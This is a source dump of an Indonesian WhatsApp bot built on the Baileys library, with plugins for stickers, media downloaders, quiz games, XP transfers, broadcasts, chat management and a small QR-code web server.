| let util = require('util') 2 | let path = require('path') 3 | let { spawn } = require('child_process') 4 | 5 | let handler = async (m, { conn, text }) => { 6 | let d = new Date 7 | let tgl = d.toLocaleDateString('id-Id') 8 | let hari = d.toLocaleDateString('id-Id', { weekday: 'long' }) 9 | let [teks, wm] = text.split('|') 10 | await conn.sendFile(m.chat, global.API('xteam', '/quotemaker', { text, wm: conn.getName(m.sender) }, 'APIKEY'), 'nulis.jpg', 'Maker kamu sudah jadi..\n╰ Follow Me: *instagram.com/arpunchs*', m) 11 | } 12 | handler.help = ['quote'].map(v => v + 'maker (tulisan)|(name)') 13 | handler.tags = ['nulis'] 14 | handler.command = /^quotemaker$/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | handler.botAdmin = false 23 | 24 | handler.fail = null 25 | handler.register = true 26 | 27 | module.exports = handler 28 | -------------------------------------------------------------------------------- /plugins/enhance.js: -------------------------------------------------------------------------------- 1 | const fetch = require('node-fetch') 2 | const FormData = require('form-data') 3 | 4 | let handler = async (m) => { 5 | let q = m.quoted ? m.quoted : m 6 | let mime = (q.msg || q).mimetype || '' 7 | if (!mime) throw 'Tidak ada foto' 8 | if (!/image\/(jpe?g|png)/.test(mime)) throw `Mime ${mime} tidak support` 9 | let img = await q.download() 10 | let body = new FormData 11 | body.append('image', img, 'image') 12 | let res = await fetch('http://max-image-resolution-enhancer.codait-prod-41208c73af8fca213512856c7a09db52-0000.us-east.containers.appdomain.cloud/model/predict', { 13 | method: 'POST', 14 | body 15 | }) 16 | if (res.status !== 200) throw await res.json() 17 | await conn.sendFile(m.chat, await res.buffer(), 'hd.jpg', 'Nih, hd kan?', m) 18 | } 19 | handler.help = ['hd (caption|reply media)', 'enhance (caption|reply media)'] 20 | handler.tags = ['tools'] 21 | handler.command = /^(hd|enhance)$/i 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /.github/workflows/node.js.yml: -------------------------------------------------------------------------------- 1 | # This workflow will do a clean install of node dependencies, build the source code and run tests across different versions of node 2 | # For more information see: https://help.github.com/actions/language-and-framework-guides/using-nodejs-with-github-actions 3 | 4 | name: Node.js CI 5 | 6 | on: 7 | push: 8 | branches: [ master ] 9 | pull_request: 10 | branches: [ master ] 11 | 12 | jobs: 13 | build: 14 | 15 | runs-on: ubuntu-latest 16 | 17 | strategy: 18 | matrix: 19 | node-version: [12.x, 13.x, 14.x, 15.x] 20 | # See supported Node.js release schedule at https://nodejs.org/en/about/releases/ 21 | 22 | steps: 23 | - uses: actions/checkout@v2 24 | - name: Use Node.js ${{ matrix.node-version }} 25 | uses: actions/setup-node@v2 26 | with: 27 | node-version: ${{ matrix.node-version }} 28 | # Because we are only check SyntaxError 29 | # - run: npm i 30 | - run: npm test 31 | -------------------------------------------------------------------------------- /plugins/sticker.js: -------------------------------------------------------------------------------- 1 | const { MessageType } = require('@adiwajshing/baileys') 2 | const { sticker } = require('../lib/sticker') 3 | let handler = async (m, { conn, args }) => { 4 | let stiker = false 5 | try { 6 | let q = m.quoted ? m.quoted : m 7 | let mime = (q.msg || q).mimetype || '' 8 | if (/image|video/.test(mime)) { 9 | let img = await q.download() 10 | if (!img) throw 'Foto/Video tidak ditemukan' 11 | stiker = await sticker(img, false, global.packname, global.author) 12 | } else if (args[0]) stiker = await sticker(false, args[0], global.packname, global.author) 13 | } finally { 14 | if (stiker) conn.sendMessage(m.chat, stiker, MessageType.sticker, { 15 | quoted: m 16 | }) 17 | else throw 'Conversion failed' 18 | } 19 | } 20 | handler.help = ['stiker (caption|reply media)', 'stiker ', 'stikergif (caption|reply media)', 'stikergif '] 21 | handler.tags = ['sticker'] 22 | handler.command = /^s(tic?ker)?(gif)?(wm)?$/i 23 | 24 | module.exports = handler 25 | -------------------------------------------------------------------------------- /plugins/fetch.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let util = require('util') 3 | let handler = async (m, { text }) => { 4 | if (!/^https?:\/\//.test(text)) throw 'Awali *URL* dengan http:// atau https://' 5 | let _url = new URL(text) 6 | let url = global.API(_url.origin, _url.pathname, Object.fromEntries(_url.searchParams.entries()), 'APIKEY') 7 | let res = await fetch(url) 8 | if (res.headers.get('content-length') > 100 * 1024 * 1024 * 1024) { 9 | delete res 10 | throw `Content-Length: ${res.headers.get('content-length')}` 11 | } 12 | if (!/text|json/.test(res.headers.get('content-type'))) return conn.sendFile(m.chat, url, 'file', text, m) 13 | let txt = await res.buffer() 14 | try { 15 | txt = util.format(JSON.parse(txt+'')) 16 | } catch (e) { 17 | txt = txt + '' 18 | } finally { 19 | m.reply(txt.slice(0, 65536) + '') 20 | } 21 | } 22 | handler.help = ['fetch', 'get'].map(v => v + ' ') 23 | handler.tags = ['internet'] 24 | handler.command = /^(fetch|get)$/i 25 | 26 | module.exports = handler 27 | 28 | -------------------------------------------------------------------------------- /plugins/tebakgambar_answer.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | handler.before = async function (m) { 3 | let id = m.chat 4 | if (!m.quoted || !m.quoted.fromMe || !m.quoted.isBaileys || !/Ketik.*hint/i.test(m.quoted.text)) return !0 5 | conn.tebakgambar = conn.tebakgambar ? conn.tebakgambar : {} 6 | if (!(id in conn.tebakgambar)) return m.reply('Soal itu telah berakhir') 7 | if (m.quoted.id == conn.tebakgambar[id][0].id) { 8 | let json = JSON.parse(JSON.stringify(conn.tebakgambar[id][1])) 9 | // m.reply(JSON.stringify(json, null, '\t')) 10 | if (m.text.toLowerCase() == json.jawaban.toLowerCase()) { 11 | global.DATABASE._data.users[m.sender].exp += conn.tebakgambar[id][2] 12 | m.reply(`*Benar!*\n+${conn.tebakgambar[id][2]} XP`) 13 | clearTimeout(conn.tebakgambar[id][3]) 14 | delete conn.tebakgambar[id] 15 | } else if (m.text.toLowerCase().endsWith(json.jawaban.split` `[1])) m.reply(`*Dikit Lagi!*`) 16 | else m.reply(`*Salah!*`) 17 | } 18 | return !0 19 | } 20 | handler.exp = 0 21 | 22 | module.exports = handler 23 | -------------------------------------------------------------------------------- /plugins/igstory.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | if (!args[0]) throw 'Uhm...url nya mana?' 4 | let res = await fetch(global.API('xteam', '/dl/igs', { 5 | nama: args[0] 6 | }, 'APIKEY')) 7 | let json = await res.json() 8 | if (res.status != 200) throw json 9 | if (json.result.error) throw json.result.message 10 | let { username, storylist } = json.result 11 | let dateConfig = { 12 | hour: 'numeric', 13 | minute: 'numeric', 14 | second: 'numeric', 15 | day: 'numeric', 16 | month: 'long', 17 | year: 'numeric' 18 | } 19 | for (let { url, type, taken_at } of storylist) 20 | conn.sendFile(m.chat, url, 'ig' + (type == 'video' ? '.mp4' : '.jpg'), ` 21 | @${username} 22 | Memposting pada ${new Date(taken_at * 1000).toLocaleDateString('id', dateConfig)} 23 | `, m) 24 | throw json.result 25 | } 26 | handler.help = ['igstory'].map(v => v + ' ') 27 | handler.tags = ['downloader'] 28 | 29 | handler.command = /^(igs(tory)?)$/i 30 | 31 | module.exports = handler 32 | -------------------------------------------------------------------------------- /plugins/pay.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = require('@adiwajshing/baileys') 2 | let pajak = 0.02 3 | let handler = async (m, { conn, text }) => { 4 | if (!text) throw 'Masukkan jumlah exp yang akan diberi' 5 | let who 6 | if (m.isGroup) who = m.mentionedJid[0] 7 | else who = m.chat 8 | if (!who) throw 'Tag salah satu lah' 9 | let txt = text.replace('@' + who.split`@`[0], '').trim() 10 | if (isNaN(txt)) throw 'Hanya angka' 11 | let xp = parseInt(txt) 12 | let exp = xp 13 | let pjk = Math.ceil(xp * pajak) 14 | exp += pjk 15 | if (exp < 1) throw 'Minimal 1' 16 | let users = global.DATABASE._data.users 17 | if (exp > users[m.sender].exp) throw 'Exp tidak mencukupi untuk mentransfer' 18 | users[m.sender].exp -= exp 19 | users[who].exp += xp 20 | 21 | m.reply(`(${-xp} XP) + (${-pjk} XP (Pajak 2%)) = ( ${-exp} XP)`) 22 | conn.fakeReply(m.chat, `+${xp} XP`, who, m.text) 23 | } 24 | handler.help = ['pay @user '] 25 | handler.tags = ['xp'] 26 | handler.command = /^pay$/ 27 | handler.rowner = true 28 | 29 | module.exports = handler 30 | 31 | -------------------------------------------------------------------------------- /views/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Web 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 |
26 |
27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /plugins/getmsg.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, command, usedPrefix, text }) => { 2 | let which = command.replace(/get/i, '') 3 | if (!text) throw `Gunakan *${usedPrefix}list${which}* untuk melihat list nya` 4 | let msgs = global.DATABASE.data.msgs 5 | if (!(text in msgs)) throw `'${text}' tidak terdaftar di list pesan` 6 | let _m = conn.serializeM(JSON.parse(JSON.stringify(msgs[text]), (_, v) => { 7 | if ( 8 | v !== null && 9 | typeof v === 'object' && 10 | 'type' in v && 11 | v.type === 'Buffer' && 12 | 'data' in v && 13 | Array.isArray(v.data)) { 14 | return Buffer.from(v.data) 15 | } 16 | return v 17 | })) 18 | // m.reply(`[debug]\n${require('util').format(_m)}`) 19 | await _m.copyNForward(m.chat, true) 20 | } 21 | handler.help = ['vn', 'msg', 'video', 'audio', 'img', 'sticker'].map(v => 'get' + v + ' ') 22 | handler.tags = ['database'] 23 | handler.command = /^get(vn|msg|video|audio|img|sticker)$/ 24 | 25 | module.exports = handler -------------------------------------------------------------------------------- /plugins/tebaklagu_ans.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | handler.before = async function (m) { 3 | let id = m.chat 4 | if (!m.quoted || !m.quoted.fromMe || !m.quoted.isBaileys || !/TEBAK JUDUL LAGU/i.test(m.quoted.text)) return !0 5 | conn.tebaklagu = conn.tebaklagu ? conn.tebaklagu : {} 6 | if (!(id in conn.tebaklagu)) return m.reply('Soal itu telah berakhir') 7 | if (m.quoted.id == conn.tebaklagu[id][0].id) { 8 | let json = JSON.parse(JSON.stringify(conn.tebaklagu[id][1])) 9 | // m.reply(JSON.stringify(json, null, '\t')) 10 | if (m.text.toLowerCase() == json.judul.toLowerCase()) { 11 | global.DATABASE._data.users[m.sender].exp += conn.tebaklagu[id][2] 12 | m.reply(`*Benar!*\n+${conn.tebaklagu[id][2]} XP`) 13 | clearTimeout(conn.tebaklagu[id][3]) 14 | delete conn.tebaklagu[id] 15 | } else if (m.text.toLowerCase().endsWith(json.judul.split` `[1])) m.reply(`*Dikit Lagi!*`) 16 | else m.reply(`*Salah!*`) 17 | } 18 | return !0 19 | } 20 | handler.exp = 0 21 | 22 | module.exports = handler -------------------------------------------------------------------------------- /plugins/link.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | let group = m.chat 3 | if (/^[0-9]{5,16}-[0-9]+@g\.us$/.test(args[0])) group = args[0] 4 | if (!/^[0-9]{5,16}-[0-9]+@g\.us$/.test(group)) throw 'Hanya bisa dibuka di grup' 5 | let groupMetadata = await conn.groupMetadata(group) 6 | if (!groupMetadata) throw 'groupMetadata is undefined :\\' 7 | if (!'participants' in groupMetadata) throw 'participants is not defined :(' 8 | let me = groupMetadata.participants.find(user => user.jid === conn.user.jid) 9 | if (!me) throw 'Aku tidak ada di grup itu :(' 10 | if (me.isAdmin !== true) throw 'Aku bukan admin T_T' 11 | m.reply('https://chat.whatsapp.com/' + await conn.groupInviteCode(group)) 12 | } 13 | handler.help = ['linkgroup'] 14 | handler.tags = ['group'] 15 | handler.command = /^link(gro?up)?$/i 16 | handler.owner = false 17 | handler.mods = false 18 | handler.premium = false 19 | handler.group = false 20 | handler.private = false 21 | 22 | handler.admin = false 23 | handler.botAdmin = false 24 | 25 | handler.fail = null 26 | 27 | module.exports = handler 28 | 29 | -------------------------------------------------------------------------------- /plugins/math_answer.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | handler.before = async function (m) { 3 | if (!/^-?[0-9]+(\.[0-9]+)?$/.test(m.text)) return !0 4 | let id = m.chat 5 | if (!m.quoted || m.quoted.sender != this.user.jid || !/^Berapa hasil dari/i.test(m.quoted.text)) return !0 6 | this.math = this.math ? this.math : {} 7 | if (!(id in this.math)) return m.reply('Soal itu telah berakhir') 8 | if (m.quoted.id == this.math[id][0].id) { 9 | let math = JSON.parse(JSON.stringify(this.math[id][1])) 10 | if (m.text == math.result) { 11 | global.DATABASE._data.users[m.sender].exp += math.bonus 12 | clearTimeout(this.math[id][3]) 13 | delete this.math[id] 14 | m.reply(`*Jawaban Benar!*\n+${math.bonus} XP`) 15 | } else { 16 | if (--this.math[id][2] == 0) { 17 | clearTimeout(this.math[id][3]) 18 | delete this.math[id] 19 | m.reply(`*Kesempatan habis!*\nJawaban: *${math.result}*`) 20 | } else m.reply(`*Jawaban Salah!*\nMasih ada ${this.math[id][2]} kesempatan`) 21 | } 22 | } 23 | return !0 24 | } 25 | 26 | module.exports = handler 27 | -------------------------------------------------------------------------------- /plugins/buylimit.js: -------------------------------------------------------------------------------- 1 | const xpperlimit = 350 2 | let handler = async (m, { conn, command, args }) => { 3 | let count = command.replace(/^buy/i, '') 4 | count = count ? /all/i.test(count) ? Math.floor(global.DATABASE._data.users[m.sender].exp / xpperlimit) : parseInt(count) : args[0] ? parseInt(args[0]) : 1 5 | count = Math.max(1, count) 6 | if (global.DATABASE._data.users[m.sender].exp >= xpperlimit * count) { 7 | global.DATABASE._data.users[m.sender].exp -= xpperlimit * count 8 | global.DATABASE._data.users[m.sender].limit += count 9 | conn.reply(m.chat, `-${xpperlimit * count} XP\n+ ${count} Limit`, m) 10 | } else conn.reply(m.chat, `XP tidak mencukupi untuk membeli ${count} limit`, m) 11 | } 12 | handler.help = ['buy', 'buy ', 'buyall'] 13 | handler.tags = ['xp'] 14 | handler.command = /^buy([0-9]+)|buy|buyall$/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | handler.botAdmin = false 23 | 24 | handler.fail = null 25 | handler.exp = 0 26 | 27 | module.exports = handler 28 | 29 | -------------------------------------------------------------------------------- /plugins/family100.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let winScore = 500 3 | async function handler(m) { 4 | this.game = this.game ? this.game : {} 5 | let id = 'family100_' + m.chat 6 | if (id in this.game) { 7 | this.reply(m.chat, 'Masih ada kuis yang belum terjawab di chat ini', this.game[id].msg) 8 | throw false 9 | } 10 | let res = await fetch(global.API('xteam', '/game/family100', {}, 'APIKEY')) 11 | if (!res.ok) throw await res.text() 12 | let json = await res.json() 13 | if (!json.status) throw json 14 | let caption = ` 15 | *Soal:* ${json.soal} 16 | 17 | Terdapat *${json.jawaban.length}* jawaban${json.jawaban.find(v => v.includes(' ')) ? ` 18 | (beberapa jawaban terdapat spasi) 19 | `: ''} 20 | 21 | +${winScore} XP tiap jawaban benar 22 | `.trim() 23 | this.game[id] = { 24 | id, 25 | msg: await m.reply(caption), 26 | ...json, 27 | terjawab: Array.from(json.jawaban, () => false), 28 | winScore, 29 | } 30 | } 31 | handler.help = ['family100'] 32 | handler.tags = ['game'] 33 | handler.command = /^family100$/i 34 | 35 | module.exports = handler -------------------------------------------------------------------------------- /plugins/paylimit.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = require('@adiwajshing/baileys') 2 | let pajak = 0.02 3 | let handler = async (m, { conn, text }) => { 4 | if (!text) throw 'Masukkan jumlah Limit yang akan diberi' 5 | let who 6 | if (m.isGroup) who = m.mentionedJid[0] 7 | else who = m.chat 8 | if (!who) throw 'Tag salah satu lah' 9 | let txt = text.replace('@' + who.split`@`[0], '').trim() 10 | if (isNaN(txt)) throw 'Hanya angka' 11 | let poin = parseInt(txt) 12 | let limit = poin 13 | let pjk = Math.ceil(poin * pajak) 14 | limit += pjk 15 | if (limit < 1) throw 'Minimal 1' 16 | let users = global.DATABASE._data.users 17 | if (limit > users[m.sender].limit) throw 'Limit tidak mencukupi untuk mentransfer' 18 | users[m.sender].limit -= limit 19 | users[who].limit += poin 20 | 21 | m.reply(`(${-poin} Limit) + (${-pjk} Limit (Pajak 2%)) = ( ${-limit} Limit)`) 22 | conn.fakeReply(m.chat, `+${poin} Limit`, who, m.text) 23 | } 24 | handler.help = ['paylimit @user '] 25 | handler.tags = ['xp'] 26 | handler.command = /^paylimit$/ 27 | handler.rowner = false 28 | 29 | module.exports = handler 30 | 31 | -------------------------------------------------------------------------------- /plugins/calc.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | let id = m.chat 3 | if (id in conn.math) { 4 | clearTimeout(conn.math[id][3]) 5 | delete conn.math[id] 6 | m.reply('Hmmm...ngecheat?') 7 | } 8 | let val = text 9 | .replace(/[^0-9\-\/+*×÷πEe()piPI/]/g, '') 10 | .replace(/×/g, '*') 11 | .replace(/÷/g, '/') 12 | .replace(/π|pi/gi, 'Math.PI') 13 | .replace(/e/gi, 'Math.E') 14 | .replace(/\/+/g, '/') 15 | .replace(/\++/g, '+') 16 | .replace(/-+/g, '-') 17 | let format = val 18 | .replace(/Math\.PI/g, 'π') 19 | .replace(/Math\.E/g, 'e') 20 | .replace(/\//g, '÷') 21 | .replace(/\*×/g, '×') 22 | try { 23 | console.log(val) 24 | let result = (new Function('return ' + val))() 25 | if (!result) throw result 26 | m.reply(`*${format}* = _${result}_`) 27 | } catch (e) { 28 | if (e == undefined) throw 'Isinya?' 29 | throw 'Format salah, hanya 0-9 dan Simbol -, +, *, /, ×, ÷, π, e, (, ) yang disupport' 30 | } 31 | } 32 | handler.help = ['calc '] 33 | handler.tags = ['tools'] 34 | handler.command = /^(calc(ulat(e|or))?|kalk(ulator)?)$/i 35 | handler.exp = 5 36 | 37 | module.exports = handler 38 | -------------------------------------------------------------------------------- /plugins/tiktok.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | if (!args[0]) throw 'Uhm...url nya mana?' 4 | let res = await fetch(global.API('xteam', '/dl/tiktok', { 5 | url: args[0] 6 | }, 'APIKEY')) 7 | if (res.status !== 200) throw await res.text() 8 | let json = await res.json() 9 | if (!json.status) throw json 10 | let url = json.server_1 || json.info[0].videoUrl || '' 11 | if (!url) throw 'Gagal mengambil url download' 12 | let txt = json.info[0].text 13 | for (let hashtag of json.info[0].hashtags) txt = txt.replace(hashtag, '*$&*') 14 | await conn.sendFile(m.chat, url, 'tiktok.mp4', ` 15 | ▶ ${json.info[0].playCount} Views 16 | ❤ ${json.info[0].diggCount} Likes 17 | 🔁 ${json.info[0].shareCount} Shares 18 | 💬 ${json.info[0].commentCount} Comments 19 | 🎵 ${json.info[0].musicMeta.musicName} by ${json.info[0].musicMeta.musicAuthor} 20 | - *By:* ${json.info[0].authorMeta.nickName} (${json.info[0].authorMeta.name}) 21 | - *Desc:* 22 | ${txt} 23 | `.trim(), m) 24 | } 25 | handler.help = ['tiktok'].map(v => v + ' ') 26 | handler.tags = ['downloader'] 27 | 28 | handler.command = /^(tik(tok)?(dl)?)$/i 29 | 30 | module.exports = handler 31 | -------------------------------------------------------------------------------- /plugins/_afk.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | handler.before = m => { 3 | let user = global.DATABASE.data.users[m.sender] 4 | if (user.afk > -1) { 5 | m.reply(` 6 | Kamu berhenti AFK${user.afkReason ? ' setelah ' + user.afkReason : ''} 7 | Selama ${clockString(new Date - user.afk)} 8 | `.trim()) 9 | user.afk = -1 10 | user.afkReason = '' 11 | } 12 | let jids = [...new Set([...(m.mentionedJid || []), ...(m.quoted ? [m.quoted.sender] : [])])] 13 | for (let jid of jids) { 14 | let user = global.DATABASE.data.users[jid] 15 | if (!user) continue 16 | let afkTime = user.afk 17 | if (!afkTime || afkTime < 0) continue 18 | let reason = user.afkReason || '' 19 | m.reply(` 20 | Jangan tag dia! 21 | Dia sedang AFK ${reason ? 'dengan alasan ' + reason : 'tanpa alasan'} 22 | Selama ${clockString(new Date - afkTime)} 23 | `.trim()) 24 | } 25 | return true 26 | } 27 | 28 | module.exports = handler 29 | 30 | function clockString(ms) { 31 | let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000) 32 | let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60 33 | let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60 34 | return [h, m, s].map(v => v.toString().padStart(2, 0) ).join(':') 35 | } 36 | -------------------------------------------------------------------------------- /server.js: -------------------------------------------------------------------------------- 1 | let express = require('express') 2 | let path = require('path') 3 | let SocketIO = require('socket.io') 4 | let qrcode = require('qrcode') 5 | 6 | function connect(conn, PORT) { 7 | let app = global.app = express() 8 | 9 | app.use(express.static(path.join(__dirname, 'views'))) 10 | let _qr = 'invalid' 11 | app.use(async (req, res) => { 12 | res.setHeader('content-type', 'image/png') 13 | res.end(await qrcode.toBuffer(_qr)) 14 | }) 15 | conn.on('qr', qr => { 16 | _qr = qr 17 | }) 18 | 19 | let server = app.listen(PORT, () => console.log('App listened on port', PORT)) 20 | let io = SocketIO(server) 21 | io.on('connection', socket => { 22 | let { unpipeEmit } = pipeEmit(conn, socket, 'conn-') 23 | socket.on('disconnect', unpipeEmit) 24 | }) 25 | } 26 | 27 | function pipeEmit(event, event2, prefix = '') { 28 | let old = event.emit 29 | event.emit = function (event, ...args) { 30 | old.emit(event, ...args) 31 | event2.emit(prefix + event, ...args) 32 | } 33 | return { 34 | unpipeEmit() { 35 | event.emit = old 36 | } 37 | } 38 | } 39 | 40 | 41 | module.exports = connect -------------------------------------------------------------------------------- /plugins/broadcast.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | let chats = conn.chats.all().filter(v => !v.read_only && v.message && !v.archive).map(v => v.jid) 3 | let cc = conn.serializeM(text ? m : m.quoted ? await m.getQuotedObj() : false || m) 4 | let teks = text ? text : cc.text 5 | conn.reply(m.chat, `_Mengirim pesan broadcast ke ${chats.length} chat_`, m) 6 | for (let id of chats) await conn.copyNForward(id, conn.cMod(m.chat, cc, /bc|broadcast/i.test(teks) ? teks : teks + '\n' + readMore + '「 All Chat Broadcast 」\n' + randomID(32)), true).catch(_=>_) 7 | m.reply('Selesai Broadcast All Chat :)') 8 | } 9 | handler.help = ['broadcast','bc'].map(v => v + ' ') 10 | handler.tags = ['owner'] 11 | handler.command = /^(broadcast|bc)$/i 12 | handler.owner = true 13 | handler.mods = false 14 | handler.premium = false 15 | handler.group = false 16 | handler.private = false 17 | 18 | handler.admin = false 19 | handler.botAdmin = false 20 | 21 | handler.fail = null 22 | 23 | module.exports = handler 24 | 25 | const more = String.fromCharCode(8206) 26 | const readMore = more.repeat(4001) 27 | 28 | const randomID = length => require('crypto').randomBytes(Math.ceil(length * .5)).toString('hex').slice(0, length) -------------------------------------------------------------------------------- /plugins/google.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let googleIt = require('google-it') 3 | let handler = async (m, { conn, command, args }) => { 4 | let full = /f$/i.test(command) 5 | let text = args.join` ` 6 | if (!text) return conn.reply(m.chat, 'Tidak ada teks untuk di cari', m) 7 | let url = 'https://google.com/search?q=' + encodeURIComponent(text) 8 | let search = await googleIt({ query: text }) 9 | let msg = search.map(({ title, link, snippet}) => { 10 | return `*${title}*\n_${link}_\n_${snippet}_` 11 | }).join`\n\n` 12 | try { 13 | let ss = await (await fetch(global.API('nrtm', '/api/ssweb', { delay: 1000, url, full }))).buffer() 14 | if (ss.includes('html')) throw '' 15 | await conn.sendFile(m.chat, ss, 'screenshot.png', url + '\n\n' + msg, m) 16 | } catch (e) { 17 | m.reply(msg) 18 | } 19 | } 20 | handler.help = ['google', 'googlef'].map(v => v + ' ') 21 | handler.tags = ['internet'] 22 | handler.command = /^googlef?$/i 23 | handler.owner = false 24 | handler.mods = false 25 | handler.premium = false 26 | handler.group = false 27 | handler.private = false 28 | 29 | handler.admin = false 30 | handler.botAdmin = false 31 | 32 | handler.fail = null 33 | 34 | module.exports = handler 35 | 36 | -------------------------------------------------------------------------------- /plugins/yta.js: -------------------------------------------------------------------------------- 1 | let limit = 30 2 | const { servers, yta } = require('../lib/y2mate') 3 | let handler = async (m, { conn, args, isPrems, isOwner }) => { 4 | if (!args || !args[0]) throw 'Uhm... urlnya mana?' 5 | let server = (args[1] || servers[0]).toLowerCase() 6 | let { dl_link, thumb, title, filesize, filesizeF} = await yta(args[0], servers.includes(server) ? server : servers[0]) 7 | let isLimit = (isPrems || isOwner ? 99 : limit) * 1024 < filesize 8 | conn.sendFile(m.chat, thumb, 'thumbnail.jpg', ` 9 | *Title:* ${title} 10 | *Filesize:* ${filesizeF} 11 | *${isLimit ? 'Pakai ': ''}Link:* ${dl_link} 12 | `.trim(), m) 13 | if (!isLimit) conn.sendFile(m.chat, dl_link, title + '.mp3', ` 14 | *Title:* ${title} 15 | *Filesize:* ${filesizeF} 16 | `.trim(), m) 17 | } 18 | handler.help = ['mp3','a'].map(v => 'yt' + v + ` [server: ${servers.join(', ')}]`) 19 | handler.tags = ['downloader'] 20 | handler.command = /^yt(a|mp3)$/i 21 | handler.owner = false 22 | handler.mods = false 23 | handler.premium = false 24 | handler.group = false 25 | handler.private = false 26 | 27 | handler.admin = false 28 | handler.botAdmin = false 29 | 30 | handler.fail = null 31 | handler.exp = 0 32 | handler.limit = true 33 | 34 | module.exports = handler 35 | 36 | -------------------------------------------------------------------------------- /plugins/register.js: -------------------------------------------------------------------------------- 1 | const { createHash } = require('crypto') 2 | let Reg = /\|?(.*)([.|] *?)([0-9]*)$/i 3 | let handler = async function (m, { text, usedPrefix }) { 4 | let user = global.DATABASE._data.users[m.sender] 5 | if (user.registered === true) throw `Anda sudah terdaftar\nMau daftar ulang? ${usedPrefix}unreg ` 6 | if (!Reg.test(text)) throw `Format salah\n*${usedPrefix}daftar nama.umur*` 7 | let [_, name, splitter, age] = text.match(Reg) 8 | if (!name) throw 'Nama tidak boleh kosong (Alphanumeric)' 9 | if (!age) throw 'Umur tidak boleh kosong (Angka)' 10 | age = parseInt(age) 11 | if (age > 120) throw 'Umur terlalu tua 😂' 12 | if (age < 5) throw 'Bayi bisa ngetik sesuai format bjir ._.' 13 | user.name = name.trim() 14 | user.age = age 15 | user.regTime = + new Date 16 | user.registered = true 17 | let sn = createHash('md5').update(m.sender).digest('hex') 18 | m.reply(` 19 | Daftar berhasil! 20 | 21 | ╭─「 Info 」 22 | │ Nama: ${name} 23 | │ Umur: ${age} tahun 24 | │ SN: ${sn} 25 | ╰──── 26 | `.trim()) 27 | } 28 | handler.help = ['daftar', 'reg', 'register'].map(v => v + ' .') 29 | handler.tags = ['exp'] 30 | 31 | handler.command = /^(daftar|reg(ister)?)$/i 32 | 33 | module.exports = handler 34 | 35 | -------------------------------------------------------------------------------- /plugins/broadcastgroups.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | let groups = conn.chats.all().filter(v => v.jid.endsWith('g.us') && !v.read_only && v.message && !v.announce).map(v => v.jid) 3 | let cc = text ? m : m.quoted ? await m.getQuotedObj() : false || m 4 | let teks = text ? text : cc.text 5 | conn.reply(m.chat, `_Mengirim pesan broadcast ke ${groups.length} grup_`, m) 6 | for (let id of groups) await conn.copyNForward(id, conn.cMod(m.chat, cc, /bc|broadcast/i.test(teks) ? teks : teks + '\n' + readMore + '「 All Group Broadcast 」\n' + randomID(32)), true).catch(_=>_) 7 | m.reply('Selesai Broadcast All Group :)') 8 | } 9 | handler.help = ['broadcastgroup','bcgc'].map(v => v + ' ') 10 | handler.tags = ['owner'] 11 | handler.command = /^(broadcast|bc)(group|grup|gc)$/i 12 | handler.owner = true 13 | handler.mods = false 14 | handler.premium = false 15 | handler.group = false 16 | handler.private = false 17 | 18 | handler.admin = false 19 | handler.botAdmin = false 20 | 21 | handler.fail = null 22 | 23 | module.exports = handler 24 | 25 | const more = String.fromCharCode(8206) 26 | const readMore = more.repeat(4001) 27 | 28 | const randomID = length => require('crypto').randomBytes(Math.ceil(length * .5)).toString('hex').slice(0, length) 29 | -------------------------------------------------------------------------------- /plugins/clear.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, command, args }) => { 2 | let chats 3 | if (/group|gc/i.test(args[0])) chats = conn.chats.array.filter(v => v.jid.endsWith('g.us') && !v.pin).map(v => v.jid) 4 | else if (/chat|private/i.test(args[0])) chats = conn.chats.array.filter(v => v.jid.endsWith('.net') && !v.pin).map(v => v.jid) 5 | else chats = [m.chat] 6 | let isDelete = /^(clear|delete)/i.test(command) 7 | for (let id of chats) { 8 | if (isDelete) await conn.modifyChat(id, 'delete', { 9 | includeStarred: false 10 | }).catch(console.log) 11 | await conn.modifyChat(id, 'mute', -Math.floor(new Date / 1e3) * 1e3 - 1e3).catch(console.log) 12 | } 13 | conn.reply(m.chat, chats.length + ` chat ${args[0] ? args[0] : ''} telah dib` + (isDelete ? 'ersihkan' : 'isukan selamanya'), m) 14 | } 15 | handler.help = ['deletechat', 'deletechat chat', 'deletechat group', 'mutechat', 'mutechat chat', 'mutechat group'] 16 | handler.tags = ['owner'] 17 | handler.command = /^(clear|delete|mute)chat$/i 18 | handler.owner = true 19 | handler.mods = false 20 | handler.premium = false 21 | handler.group = false 22 | handler.private = false 23 | 24 | handler.admin = false 25 | handler.botAdmin = false 26 | 27 | handler.fail = null 28 | 29 | module.exports = handler 30 | 31 | -------------------------------------------------------------------------------- 